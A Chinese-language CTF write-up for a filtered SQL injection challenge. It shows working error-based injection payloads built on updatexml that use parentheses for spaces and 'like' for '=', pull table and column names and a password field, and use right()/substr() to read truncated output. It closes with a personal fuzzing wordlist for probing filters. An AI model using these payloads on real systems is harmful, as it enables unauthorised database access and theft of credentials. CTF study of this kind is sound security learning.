提示(最后有我自用的字典, 需要可以自取)
- 空格等号绕过
- 报错查询
- 当显示不全时left(), right(), substr(),
拿到题目以后直接fuzz
这里发现过滤了 '=' '空格以及空格的变式/**/' 'union' 但是updatexml还在还可以使用报错注入, 空格可以用()代替, 而=则可以用like代替
payload:
1'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#
这里爆出表名H4rDsq1
payload:
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
出了字段, 现在查密码
payload:
1'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))#
到这里只显示了一半的flag
接下来有两个函数可以使用right和substr
首先right
payload1:(right)
1'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1))#
payload2:(substr !!注意这里只是提示, 这道题禁用了substr)
1'or(updatexml(1,concat(0x7e,(select(substr(password,15,15))from(H4rDsq1)),0x7e),1))#
right('想要取的字段', '从右到左取多少个'), left同理
substr('想要取的字段', '从左到右第几位开始', '取几个')
测试过滤字典(只是我自用的, 平时按着需求添加的, 如有缺陷请自行添加)
union select
union/**/select
union
select
ascii
substr
from
or
and1=1
and 1=1
updatexml
information_schema.schemata
information_schema.tables
information_schema.columns
handler
group_concat
sleep
length
()
=
#
--
%23
>
<
=
^
table_name
table_schema
column_name
information_schema.tables
information_schema.schemata
information_schema.columns
where
,
database()